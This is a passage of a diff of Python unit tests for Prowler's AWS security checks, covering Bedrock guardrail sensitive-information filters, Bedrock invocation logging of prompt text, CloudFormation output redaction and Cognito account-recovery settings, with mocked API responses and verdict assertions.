+ return detail
+ return _guardrail_detail(
+ {"piiEntities": [{"type": "EMAIL", "action": "ANONYMIZE"}]}
+ )
+ if operation_name == "ListTagsForResource":
+ return {"tags": []}
+ return make_api_call(self, operation_name, kwarg)
+
+
+def _run_check(api_call, regions=None):
+ """Execute the check against a Bedrock service built from the given _make_api_call stand-in.
+
+ The service is constructed inside the patch so its collectors read the stand-in, then injected
+ as the check's bedrock_client. Returns the list of reports the check produced.
+ """
+ from prowler.providers.aws.services.bedrock.bedrock_service import Bedrock
+
+ aws_provider = set_mocked_aws_provider(regions or [AWS_REGION_US_EAST_1])
+
+ with mock.patch("botocore.client.BaseClient._make_api_call", new=api_call):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=aws_provider,
+ ),
+ mock.patch(
+ f"{CHECK_MODULE}.bedrock_client",
+ new=Bedrock(aws_provider),
+ ),
+ ):
+ from prowler.providers.aws.services.bedrock.bedrock_guardrail_sensitive_information_filter_enforced.bedrock_guardrail_sensitive_information_filter_enforced import (
+ bedrock_guardrail_sensitive_information_filter_enforced,
+ )
+
+ check = bedrock_guardrail_sensitive_information_filter_enforced()
+ return check.execute()
+
+
+class Test_bedrock_guardrail_sensitive_information_filter_enforced:
+ @mock_aws
+ def test_no_guardrails(self):
+ """An account with no guardrails in either audited Region must produce no findings at all.
+
+ Not a PASS: there is no resource to make a claim about, and a synthesised PASS per Region
+ would report enforcement on something that does not exist.
+ """
+ from prowler.providers.aws.services.bedrock.bedrock_service import Bedrock
+
+ aws_provider = set_mocked_aws_provider(
+ [AWS_REGION_EU_WEST_1, AWS_REGION_US_EAST_1]
+ )
+
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=aws_provider,
+ ),
+ mock.patch(
+ f"{CHECK_MODULE}.bedrock_client",
+ new=Bedrock(aws_provider),
+ ),
+ ):
+ from prowler.providers.aws.services.bedrock.bedrock_guardrail_sensitive_information_filter_enforced.bedrock_guardrail_sensitive_information_filter_enforced import (
+ bedrock_guardrail_sensitive_information_filter_enforced,
+ )
+
+ check = bedrock_guardrail_sensitive_information_filter_enforced()
+ assert check.execute() == []
+
+ @mock_aws
+ def test_guardrail_without_sensitive_information_policy_skipped(self):
+ """A guardrail with no policy at all is the other check's subject, not this one's."""
+ assert _run_check(_api_call(sensitive_information_policy=None)) == []
+
+ @mock_aws
+ def test_pii_entities_anonymize_passes(self):
+ """Two PII entities both set to ANONYMIZE must PASS: masking stops the value leaving.
+
+ Also pins the plural wording and the resource identity, so the PASS message and the
+ guardrail it is attributed to are both asserted, not just the status.
+ """
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [
+ {"type": "EMAIL", "action": "ANONYMIZE"},
+ {"type": "NAME", "action": "ANONYMIZE"},
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == "Bedrock Guardrail test blocks or masks all 2 configured sensitive information entries on the output path."
+ )
+ assert result[0].resource_id == "test-id"
+ assert result[0].resource_arn == GUARDRAIL_ARN
+ assert result[0].region == AWS_REGION_US_EAST_1
+
+ @mock_aws
+ def test_pii_entity_action_none_fails(self):
+ """The proven false PASS: a policy present, detecting, and taking no action."""
+ result = _run_check(
+ _api_call({"piiEntities": [{"type": "EMAIL", "action": "NONE"}]})
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == "Bedrock Guardrail test detects but does not block or mask PII entity EMAIL on the output path, so matched sensitive information still reaches the caller."
+ )
+ assert result[0].resource_arn == GUARDRAIL_ARN
+
+ @mock_aws
+ def test_one_entity_of_several_set_to_none_fails(self):
+ """One NONE entry among enforcing ones must FAIL and name only the NONE entry.
+
+ The claim is universal, so a single unenforced entry decides it; naming the compliant
+ EMAIL entry alongside it would misdirect remediation at the entry that is already correct.
+ """
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [
+ {"type": "EMAIL", "action": "ANONYMIZE"},
+ {"type": "AWS_SECRET_KEY", "action": "NONE"},
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert "PII entity AWS_SECRET_KEY" in result[0].status_extended
+ assert "PII entity EMAIL" not in result[0].status_extended
+
+ @mock_aws
+ def test_regex_action_none_fails(self):
+ """A regex set to NONE must FAIL even when every PII entity blocks.
+
+ regexes and piiEntities leak identically, so the check must read both arms of the policy;
+ an implementation that walked only piiEntities would PASS this guardrail.
+ """
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [{"type": "EMAIL", "action": "BLOCK"}],
+ "regexes": [
+ {
+ "name": "internal-token",
+ "pattern": "tok-[0-9]+",
+ "action": "NONE",
+ }
+ ],
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert "regex internal-token" in result[0].status_extended
+
+ @mock_aws
+ def test_regex_block_passes(self):
+ """A lone regex set to BLOCK must PASS, with the singular noun in the message.
+
+ A policy carrying only regexes and no piiEntities is a valid configuration, so it must
+ reach PASS rather than falling through the entity loop into a default verdict.
+ """
+ result = _run_check(
+ _api_call(
+ {
+ "regexes": [
+ {
+ "name": "internal-token",
+ "pattern": "tok-[0-9]+",
+ "action": "BLOCK",
+ }
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ # Singular: "all 1 ... entries" was a noun/count disagreement corrected in #12459 --
+ # match the noun to the count.
+ assert (
+ "its 1 configured sensitive information entry" in result[0].status_extended
+ )
+
+ @mock_aws
+ def test_output_action_none_overrides_enforcing_action(self):
+ """outputAction is the output-path setting and wins over `action` when reported."""
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [
+ {
+ "type": "EMAIL",
+ "action": "ANONYMIZE",
+ "outputAction": "NONE",
+ }
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert "PII entity EMAIL" in result[0].status_extended
+
+ @mock_aws
+ def test_output_action_enforcing_with_action_none_passes(self):
+ """action NONE with outputAction BLOCK must PASS: the output path is what this check judges.
+
+ The converse of test_output_action_none_overrides_enforcing_action. Reading `action` first
+ would FAIL a guardrail that does block on output, so this pins the precedence in the
+ direction where getting it wrong produces a false positive.
+ """
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [
+ {"type": "EMAIL", "action": "NONE", "outputAction": "BLOCK"}
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+
+ @mock_aws
+ def test_output_evaluation_disabled_fails(self):
+ """An enforcing action never runs when output evaluation is switched off."""
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [
+ {
+ "type": "EMAIL",
+ "action": "BLOCK",
+ "outputEnabled": False,
+ }
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert "PII entity EMAIL" in result[0].status_extended
+
+ @mock_aws
+ def test_output_enabled_absent_is_not_treated_as_disabled(self):
+ """GetGuardrail omits outputEnabled unless it was set; absent must not read as False."""
+ result = _run_check(
+ _api_call({"piiEntities": [{"type": "EMAIL", "action": "BLOCK"}]})
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+
+ @mock_aws
+ def test_absent_action_is_manual_not_pass(self):
+ """An action the API did not report is unknown, not compliant and not a falsy default."""
+ result = _run_check(_api_call({"piiEntities": [{"type": "EMAIL"}]}))
+
+ assert len(result) == 1
+ assert result[0].status == "MANUAL"
+ assert (
+ result[0].status_extended
+ == "Bedrock Guardrail test did not report an action for PII entity EMAIL; verify manually that matches are blocked or masked on the output path."
+ )
+
+ @mock_aws
+ def test_proven_leak_outranks_an_unreported_action(self):
+ """A guardrail with both an unknown and a NONE entry must FAIL, and still name the unknown.
+
+ The original intent here was that such a guardrail "must not silently PASS or FAIL-only" --
+ the worry being that a bare FAIL would drop the unreported entry. Reporting MANUAL solved
+ that but created a worse problem: one entry whose action the API omitted hid an entry proven
+ to take no action, so a provable leak read as merely unknown. This check makes a universal
+ claim (every entry must block or mask), so one entry known to take no action settles it,
+ which is the rule the maintainer applied on #12459 -- "definite draft sharing outranks an
+ incomplete alias inventory". The unknown is still disclosed, in the FAIL message.
+ """
+ result = _run_check(
+ _api_call(
+ {
+ "piiEntities": [
+ {"type": "EMAIL"},
+ {"type": "NAME", "action": "NONE"},
+ ]
+ }
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert "PII entity NAME" in result[0].status_extended
+ assert "PII entity EMAIL" in result[0].status_extended
+ assert "was not reported" in result[0].status_extended
+
+ @mock_aws
+ def test_fail_message_is_stable_under_entry_reordering(self):
+ """The FAIL message must be byte identical when GetGuardrail returns the entries reversed.
+
+ GetGuardrail documents no ordering for piiEntities or regexes, so the same unchanged
+ guardrail can be returned entry-reversed on the next scan. Both rendered lists are built by
+ append and joined, so without a sort one unchanged guardrail produces two different
+ status_extended strings, which downstream reads as a finding that changed.
+ """
+ entries = [
+ {"type": "EMAIL", "action": "NONE"},
+ {"type": "ADDRESS", "action": "NONE"},
+ {"type": "NAME"},
+ {"type": "AGE"},
+ ]
+ forward = _run_check(_api_call({"piiEntities": entries}))
+ reversed_ = _run_check(_api_call({"piiEntities": list(reversed(entries))}))
+
+ assert len(forward) == 1 and len(reversed_) == 1
+ # Both lists are asserted to render in sorted order before the two runs are compared: two
+ # runs that both rendered no entry names at all would be byte identical and prove nothing.
+ assert forward[0].status == "FAIL" and reversed_[0].status == "FAIL"
+ message = forward[0].status_extended
+ assert "PII entity ADDRESS, PII entity EMAIL" in message, message
+ assert "PII entity AGE, PII entity NAME" in message, message
+ assert message == reversed_[0].status_extended
+
+ @mock_aws
+ def test_manual_message_is_stable_under_entry_reordering(self):
+ """The MANUAL message must be byte identical when the unreported entries arrive reversed.
+
+ The MANUAL branch renders the unreported list a second time, so it needs its own sort; a
+ sort placed only on the FAIL path leaves this message unstable.
+ """
+ entries = [{"type": "NAME"}, {"type": "AGE"}]
+ forward = _run_check(_api_call({"piiEntities": entries}))
+ reversed_ = _run_check(_api_call({"piiEntities": list(reversed(entries))}))
+
+ assert len(forward) == 1 and len(reversed_) == 1
+ assert forward[0].status == "MANUAL" and reversed_[0].status == "MANUAL"
+ message = forward[0].status_extended
+ assert "PII entity AGE, PII entity NAME" in message, message
+ assert message == reversed_[0].status_extended
+
+ @mock_aws
+ def test_every_guardrail_is_reported(self):
+ """One report per in-scope guardrail: a loop that stops early must not read as clean."""
+ result = _run_check(_api_call_two_guardrails)
+
+ assert len(result) == 2
+ by_id = {report.resource_id: report for report in result}
+ assert by_id["test-id"].status == "PASS"
+ assert by_id["second-id"].status == "FAIL"
+ assert "PII entity EMAIL" in by_id["second-id"].status_extended
+
+ @mock_aws
+ def test_unreadable_guardrail_detail_is_manual_not_pass(self):
+ """GetGuardrail denied must not be reported as a compliant guardrail."""
+ error = botocore.exceptions.ClientError(
+ {
+ "Error": {
+ "Code": "AccessDeniedException",
+ "Message": "not authorized to perform: bedrock:GetGuardrail",
+ }
+ },
+ "GetGuardrail",
+ )
+ result = _run_check(_api_call(get_guardrail_error=error))
+
+ assert len(result) == 1
+ assert result[0].status == "MANUAL"
+ assert (
+ result[0].status_extended
+ == "Bedrock Guardrail test configuration could not be retrieved (AccessDeniedException); verify manually that its sensitive information filters block or mask matches on the output path."
+ )
+ assert result[0].resource_arn == GUARDRAIL_ARN
+ assert result[0].region == AWS_REGION_US_EAST_1
diff --git a/tests/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled_test.py b/tests/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled_test.py
new file mode 100644
index 0000000000..52fc9c8920
--- /dev/null
+++ b/tests/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled_test.py
@@ -0,0 +1,144 @@
+from unittest import mock
+
+from prowler.providers.aws.services.bedrock.bedrock_service import LoggingConfiguration
+from tests.providers.aws.utils import (
+ AWS_ACCOUNT_NUMBER,
+ AWS_REGION_US_EAST_1,
+ set_mocked_aws_provider,
+)
+
+
+class Test_bedrock_model_invocation_logging_text_data_enabled:
+ def _run(self, configs):
+ """Execute the check with logging_configurations set to the given region -> config map.
+
+ Returns the list of reports produced, so a caller can assert both the count and each
+ verdict.
+ """
+ # An INSTANCE, not the class. Assigning attributes to mock.MagicMock itself mutates it
+ # for every later test in the session -- it poisoned
+ # bedrock_model_invocation_logs_encryption_enabled_test with a plain lambda where it
+ # expected a mock attribute.
+ bedrock_client = mock.MagicMock()
+ bedrock_client.logging_configurations = configs
+ bedrock_client.audited_account = AWS_ACCOUNT_NUMBER
+ bedrock_client.audited_partition = "aws"
+ bedrock_client.region = AWS_REGION_US_EAST_1
+ bedrock_client._get_model_invocation_logging_arn_template = (
+ lambda region: f"arn:aws:bedrock:{region}:{AWS_ACCOUNT_NUMBER}:model-invocation-logging"
+ )
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_aws_provider([AWS_REGION_US_EAST_1]),
+ ),
+ mock.patch(
+ "prowler.providers.aws.services.bedrock.bedrock_model_invocation_logging_text_data_enabled.bedrock_model_invocation_logging_text_data_enabled.bedrock_client",
+ bedrock_client,
+ ),
+ ):
+ from prowler.providers.aws.services.bedrock.bedrock_model_invocation_logging_text_data_enabled.bedrock_model_invocation_logging_text_data_enabled import (
+ bedrock_model_invocation_logging_text_data_enabled,
+ )
+
+ return bedrock_model_invocation_logging_text_data_enabled().execute()
+
+ def test_no_logging_configurations(self):
+ """No configuration collected for any Region must produce no findings.
+
+ An empty inventory is the state after the collector reached no Region at all, so there is
+ nothing to make a claim about; a PASS here would assert content capture nowhere observed.
+ """
+ assert self._run({}) == []
+
+ def test_logging_disabled_is_out_of_scope(self):
+ """A Region with logging off belongs to the sibling check, not this one."""
+ result = self._run({AWS_REGION_US_EAST_1: LoggingConfiguration(enabled=False)})
+ assert result == []
+
+ def test_text_delivery_enabled(self):
+ """Logging on with textDataDeliveryEnabled true must PASS: prompts and responses are captured."""
+ result = self._run(
+ {
+ AWS_REGION_US_EAST_1: LoggingConfiguration(
+ enabled=True,
+ cloudwatch_log_group="/aws/bedrock",
+ text_data_delivery_enabled=True,
+ )
+ }
+ )
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert "delivers prompt and response text" in result[0].status_extended
+ # The three identity fields were asserted nowhere, so region, resource_id and the ARN
+ # template could each have been wrong or dropped with the suite still green. resource_id is "model-invocation-logging" to match both siblings on this
+ # configuration; it used to be the account id, which is identical in every Region and so
+ # could not distinguish two Regions' findings.
+ assert result[0].region == AWS_REGION_US_EAST_1
+ assert result[0].resource_id == "model-invocation-logging"
+ assert (
+ result[0].resource_arn
+ == f"arn:aws:bedrock:{AWS_REGION_US_EAST_1}:{AWS_ACCOUNT_NUMBER}:model-invocation-logging"
+ )
+
+ def test_text_delivery_disabled_is_fail(self):
+ """The whole point: a destination is configured but bodies are excluded."""
+ result = self._run(
+ {
+ AWS_REGION_US_EAST_1: LoggingConfiguration(
+ enabled=True,
+ cloudwatch_log_group="/aws/bedrock",
+ text_data_delivery_enabled=False,
+ )
+ }
+ )
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert "excludes prompt and response text" in result[0].status_extended
+ assert result[0].region == AWS_REGION_US_EAST_1
+ assert result[0].resource_id == "model-invocation-logging"
+ assert (
+ result[0].resource_arn
+ == f"arn:aws:bedrock:{AWS_REGION_US_EAST_1}:{AWS_ACCOUNT_NUMBER}:model-invocation-logging"
+ )
+
+ def test_text_delivery_unreported_is_manual_not_pass(self):
+ """Absent is not False. An unanswered field must not be read as compliant."""
+ result = self._run(
+ {
+ AWS_REGION_US_EAST_1: LoggingConfiguration(
+ enabled=True, cloudwatch_log_group="/aws/bedrock"
+ )
+ }
+ )
+ assert len(result) == 1
+ assert result[0].status == "MANUAL"
+ assert result[0].region == AWS_REGION_US_EAST_1
+ assert result[0].resource_id == "model-invocation-logging"
+ assert (
+ result[0].resource_arn
+ == f"arn:aws:bedrock:{AWS_REGION_US_EAST_1}:{AWS_ACCOUNT_NUMBER}:model-invocation-logging"
+ )
+
+ def test_multiple_regions_counts_and_split(self):
+ """Multi-resource: assert the finding count and the PASS/FAIL split."""
+ result = self._run(
+ {
+ AWS_REGION_US_EAST_1: LoggingConfiguration(
+ enabled=True, text_data_delivery_enabled=True
+ ),
+ "eu-west-1": LoggingConfiguration(
+ enabled=True, text_data_delivery_enabled=False
+ ),
+ "us-west-2": LoggingConfiguration(enabled=False),
+ }
+ )
+ assert len(result) == 2
+ # Assert the Region-to-status MAPPING, not the multiset. Counting one PASS and one FAIL
+ # passes just as happily if the two verdicts are swapped, which is the one thing a
+ # per-Region check can get wrong here. The dict also pins that us-west-2, whose logging is
+ # off entirely, produces no finding at all rather than a third one.
+ assert {r.region: r.status for r in result} == {
+ AWS_REGION_US_EAST_1: "PASS",
+ "eu-west-1": "FAIL",
+ }
diff --git a/tests/providers/aws/services/bedrock/bedrock_service_test.py b/tests/providers/aws/services/bedrock/bedrock_service_test.py
index 276dc44a4f..2a30b02aa7 100644
--- a/tests/providers/aws/services/bedrock/bedrock_service_test.py
+++ b/tests/providers/aws/services/bedrock/bedrock_service_test.py
@@ -22,6 +22,12 @@ GUARDRAIL_ARN = (
def mock_make_api_call(self, operation_name, kwarg):
+ """Serve one fully configured guardrail, and defer any other operation to botocore.
+
+ The sensitiveInformationPolicy carries one PII entity and one regex, both with an action and
+ neither with outputAction or outputEnabled, which is the shape GetGuardrail returns when the
+ per-path settings were never configured.
+ """
if operation_name == "ListGuardrails":
return {
"guardrails": [
@@ -48,7 +54,16 @@ def mock_make_api_call(self, operation_name, kwarg):
},
]
},
- "sensitiveInformationPolicy": True,
+ "sensitiveInformationPolicy": {
+ "piiEntities": [{"type": "EMAIL", "action": "ANONYMIZE"}],
+ "regexes": [
+ {
+ "name": "account-id",
+ "pattern": "[0-9]{12}",
+ "action": "BLOCK",
+ }
+ ],
+ },
"blockedInputMessaging": "Sorry, the model cannot answer this question.",
"blockedOutputsMessaging": "Sorry, the model cannot answer this question.",
}
@@ -61,6 +76,66 @@ def mock_make_api_call(self, operation_name, kwarg):
return make_api_call(self, operation_name, kwarg)
+def mock_make_api_call_guardrail_regex_output_path(self, operation_name, kwarg):
+ """A guardrail whose REGEX carries explicit per-path settings.
+
+ The shared fixture omits outputAction and outputEnabled on both arms, so an assertion that they
+ are all None passes whether or not the regex arm reads them -- it cannot discriminate. This
+ fixture blocks on input and leaks on output, which is the shape that separates the two.
+ """
+ if operation_name == "GetGuardrail":
+ return {
+ "guardrailArn": GUARDRAIL_ARN,
+ "guardrailId": "test-id",
+ "name": "test",
+ "status": "READY",
+ "sensitiveInformationPolicy": {
+ "regexes": [
+ {
+ "name": "internal-token",
+ "pattern": "tok-[0-9]+",
+ "action": "BLOCK",
+ "outputAction": "NONE",
+ "outputEnabled": True,
+ }
+ ]
+ },
+ "blockedInputMessaging": "no",
+ "blockedOutputsMessaging": "no",
+ }
+ return mock_make_api_call(self, operation_name, kwarg)
+
+
+def mock_make_api_call_get_guardrail_denied(self, operation_name, kwarg):
+ """List the guardrail successfully but deny GetGuardrail.
+
+ Reproduces the partial-permission state a caller holding bedrock:ListGuardrails without
+ bedrock:GetGuardrail sees: the resource is known to exist, its configuration is not.
+ """
+ if operation_name == "ListGuardrails":
+ return {
+ "guardrails": [
+ {
+ "id": "test-id",
+ "arn": GUARDRAIL_ARN,
+ "status": "READY",
+ "name": "test",
+ }
+ ]
+ }
+ elif operation_name == "GetGuardrail":
+ raise botocore.exceptions.ClientError(
+ {
+ "Error": {
+ "Code": "AccessDeniedException",
+ "Message": "not authorized to perform: bedrock:GetGuardrail",
+ }
+ },
+ "GetGuardrail",
+ )
+ return make_api_call(self, operation_name, kwarg)
+
+
class Test_Bedrock_Service:
@mock_aws
def test_service(self):
@@ -129,6 +204,36 @@ class Test_Bedrock_Service:
)
assert not bedrock.logging_configurations[AWS_REGION_US_EAST_1].enabled
+ @mock_aws
+ def test_get_model_invocation_logging_delivery_flags(self):
+ """The delivery flags must be carried through, not inferred from the destination.
+
+ A configuration can name a log group while excluding the request and response bodies.
+ Asserting only `enabled` reports content capture that is switched off.
+ """
+ aws_provider = set_mocked_aws_provider(audited_regions=[AWS_REGION_EU_WEST_1])
+ bedrock_client_eu_west_1 = client("bedrock", region_name="eu-west-1")
+ bedrock_client_eu_west_1.put_model_invocation_logging_configuration(
+ loggingConfig={
+ "cloudWatchConfig": {"logGroupName": "Test", "roleArn": "testrole"},
+ "textDataDeliveryEnabled": False,
+ "imageDataDeliveryEnabled": False,
+ "embeddingDataDeliveryEnabled": True,
+ "videoDataDeliveryEnabled": False,
+ }
+ )
+ bedrock = Bedrock(aws_provider)
+ config = bedrock.logging_configurations[AWS_REGION_EU_WEST_1]
+ assert config.enabled
+ assert config.text_data_delivery_enabled is False
+ assert config.image_data_delivery_enabled is False
+ assert config.embedding_data_delivery_enabled is True
+ # The fourth flag was the one of four asserted nowhere, so its read could be mis-keyed or
+ # dropped with the suite green. False rather than True on purpose: it differs from the
+ # embedding flag beside it, so a swap between the two is caught as well as a read that
+ # returns None.
+ assert config.video_data_delivery_enabled is False
+
@mock.patch("botocore.client.BaseClient._make_api_call", new=mock_make_api_call)
@mock_aws
def test_list_guardrails(self):
@@ -143,10 +248,76 @@ class Test_Bedrock_Service:
@mock.patch("botocore.client.BaseClient._make_api_call", new=mock_make_api_call)
@mock_aws
def test_get_guardrail(self):
+ """A guardrail read without error must record the filters found and no error.
+
+ detail_retrieved True with detail_error None is the state that entitles a check to make a
+ claim about the filters; it is asserted here so the clean read is distinguishable from the
+ denied read rather than only inferable from it.
+ """
aws_provider = set_mocked_aws_provider(audited_regions=[AWS_REGION_US_EAST_1])
bedrock = Bedrock(aws_provider)
assert bedrock.guardrails[GUARDRAIL_ARN].sensitive_information_filter
assert bedrock.guardrails[GUARDRAIL_ARN].prompt_attack_filter_strength == "HIGH"
+ assert bedrock.guardrails[GUARDRAIL_ARN].detail_retrieved is True
+ assert bedrock.guardrails[GUARDRAIL_ARN].detail_error is None
+
+ @mock.patch("botocore.client.BaseClient._make_api_call", new=mock_make_api_call)
+ @mock_aws
+ def test_get_guardrail_sensitive_information_entries(self):
+ """Every PII entity and regex must be carried through with its per-path action.
+
+ The presence of a sensitive information policy says nothing about whether a match is
+ acted on: an entry whose action is NONE detects the value and still returns it.
+ """
+ aws_provider = set_mocked_aws_provider(audited_regions=[AWS_REGION_US_EAST_1])
+ bedrock = Bedrock(aws_provider)
+ entries = bedrock.guardrails[GUARDRAIL_ARN].sensitive_information_entries
+ assert [entry.name for entry in entries] == [
+ "PII entity EMAIL",
+ "regex account-id",
+ ]
+ assert entries[0].action == "ANONYMIZE"
+ assert entries[1].action == "BLOCK"
+ # The API omits the per-path settings unless they were configured explicitly.
+ assert all(entry.output_action is None for entry in entries)
+ assert all(entry.output_enabled is None for entry in entries)
+
+ @mock.patch(
+ "botocore.client.BaseClient._make_api_call",
+ new=mock_make_api_call_guardrail_regex_output_path,
+ )
+ @mock_aws
+ def test_get_guardrail_regex_carries_its_per_path_settings(self):
+ """A regex's outputAction and outputEnabled must be read, not only a PII entity's.
+
+ Mis-keying either read on the regex arm left all 202 bedrock tests green while a guardrail
+ that blocks on input and leaks on output flipped FAIL -> PASS in the check above -- its
+ central claim, output-path enforcement, reversed with nothing failing. The PII arm was
+ already covered; only the regex arm was not, and the existing assertion could not tell,
+ because the shared fixture omits these fields on both arms so `all(... is None)` holds
+ either way.
+ """
+ aws_provider = set_mocked_aws_provider(audited_regions=[AWS_REGION_US_EAST_1])
+ bedrock = Bedrock(aws_provider)
+ entries = bedrock.guardrails[GUARDRAIL_ARN].sensitive_information_entries
+ assert [entry.name for entry in entries] == ["regex internal-token"]
+ assert entries[0].action == "BLOCK"
+ assert entries[0].output_action == "NONE"
+ assert entries[0].output_enabled is True
+
+ @mock.patch(
+ "botocore.client.BaseClient._make_api_call",
+ new=mock_make_api_call_get_guardrail_denied,
+ )
+ @mock_aws
+ def test_get_guardrail_error_records_unretrieved_detail(self):
+ """A guardrail whose detail was never read must be distinguishable from a clean read."""
+ aws_provider = set_mocked_aws_provider(audited_regions=[AWS_REGION_US_EAST_1])
+ bedrock = Bedrock(aws_provider)
+ guardrail = bedrock.guardrails[GUARDRAIL_ARN]
+ assert guardrail.detail_retrieved is False
+ assert guardrail.detail_error == "AccessDeniedException"
+ assert guardrail.sensitive_information_entries == []
@mock.patch("botocore.client.BaseClient._make_api_call", new=mock_make_api_call)
@mock_aws
diff --git a/tests/providers/aws/services/cloudformation/cloudformation_stack_outputs_find_secrets/cloudformation_stack_outputs_find_secrets_test.py b/tests/providers/aws/services/cloudformation/cloudformation_stack_outputs_find_secrets/cloudformation_stack_outputs_find_secrets_test.py
index ad9d277788..b089594195 100644
--- a/tests/providers/aws/services/cloudformation/cloudformation_stack_outputs_find_secrets/cloudformation_stack_outputs_find_secrets_test.py
+++ b/tests/providers/aws/services/cloudformation/cloudformation_stack_outputs_find_secrets/cloudformation_stack_outputs_find_secrets_test.py
@@ -78,6 +78,8 @@ class Test_cloudformation_stack_outputs_find_secrets:
)
assert result[0].region == AWS_REGION
assert result[0].resource_tags == []
+ assert result[0].resource["outputs"] == ["REDACTED", "REDACTED"]
+ assert cloudformation_client.stacks[0].outputs[1] == "ENV:DEV"
def test_stack_secret_in_outputs_false_case(self):
cloudformation_client = mock.MagicMock
diff --git a/tests/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred_test.py b/tests/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred_test.py
new file mode 100644
index 0000000000..15c6af875c
--- /dev/null
+++ b/tests/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred_test.py
@@ -0,0 +1,171 @@
+from unittest import mock
+
+from boto3 import client
+from moto import mock_aws
+
+from tests.providers.aws.utils import AWS_REGION_US_EAST_1, set_mocked_aws_provider
+
+USER_POOL_NAME = "user_pool_name"
+
+CHECK_PATH = "prowler.providers.aws.services.cognito.cognito_user_pool_account_recovery_sms_not_preferred.cognito_user_pool_account_recovery_sms_not_preferred.cognito_idp_client"
+PROVIDER_PATH = "prowler.providers.common.provider.Provider.get_global_provider"
+
+
+class Test_cognito_user_pool_account_recovery_sms_not_preferred:
+ @mock_aws
+ def test_no_user_pools(self):
+ from prowler.providers.aws.services.cognito.cognito_service import CognitoIDP
+
+ aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1])
+
+ with mock.patch(PROVIDER_PATH, return_value=aws_provider):
+ with mock.patch(CHECK_PATH, new=CognitoIDP(aws_provider)):
+ from prowler.providers.aws.services.cognito.cognito_user_pool_account_recovery_sms_not_preferred.cognito_user_pool_account_recovery_sms_not_preferred import (
+ cognito_user_pool_account_recovery_sms_not_preferred,
+ )
+
+ check = cognito_user_pool_account_recovery_sms_not_preferred()
+ result = check.execute()
+
+ assert len(result) == 0
+
+ @mock_aws
+ def test_user_pool_without_account_recovery_setting(self):
+ from prowler.providers.aws.services.cognito.cognito_service import CognitoIDP
+
+ client("cognito-idp", region_name=AWS_REGION_US_EAST_1).create_user_pool(
+ PoolName=USER_POOL_NAME
+ )
+
+ aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1])
+ cognito_client = CognitoIDP(aws_provider)
+ # moto injects a verified_email-first AccountRecoverySetting into every pool,
+ # so a pool that never had one cannot be produced through the API. Real
+ # user pools predating the feature return no setting at all, which is the
+ # case this check has to flag, so clear it here.
+ for pool in cognito_client.user_pools.values():
+ pool.account_recovery_settings = {}
+
+ with mock.patch(PROVIDER_PATH, return_value=aws_provider):
+ with mock.patch(CHECK_PATH, new=cognito_client):
+ from prowler.providers.aws.services.cognito.cognito_user_pool_account_recovery_sms_not_preferred.cognito_user_pool_account_recovery_sms_not_preferred import (
+ cognito_user_pool_account_recovery_sms_not_preferred,
+ )
+
+ check = cognito_user_pool_account_recovery_sms_not_preferred()
+ result = check.execute()
+
+ pool = list(cognito_client.user_pools.values())[0]
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == f"User pool {USER_POOL_NAME} does not define an account recovery setting, so SMS is preferred over email."
+ )
+ assert result[0].resource_id == pool.id
+ assert result[0].resource_arn == pool.arn
+ assert result[0].region == AWS_REGION_US_EAST_1
+
+ @mock_aws
+ def test_user_pool_prefers_sms(self):
+ from prowler.providers.aws.services.cognito.cognito_service import CognitoIDP
+
+ client("cognito-idp", region_name=AWS_REGION_US_EAST_1).create_user_pool(
+ PoolName=USER_POOL_NAME,
+ AccountRecoverySetting={
+ "RecoveryMechanisms": [
+ {"Priority": 2, "Name": "verified_email"},
+ {"Priority": 1, "Name": "verified_phone_number"},
+ ]
+ },
+ )
+
+ aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1])
+ cognito_client = CognitoIDP(aws_provider)
+
+ with mock.patch(PROVIDER_PATH, return_value=aws_provider):
+ with mock.patch(CHECK_PATH, new=cognito_client):
+ from prowler.providers.aws.services.cognito.cognito_user_pool_account_recovery_sms_not_preferred.cognito_user_pool_account_recovery_sms_not_preferred import (
+ cognito_user_pool_account_recovery_sms_not_preferred,
+ )
+
+ check = cognito_user_pool_account_recovery_sms_not_preferred()
+ result = check.execute()
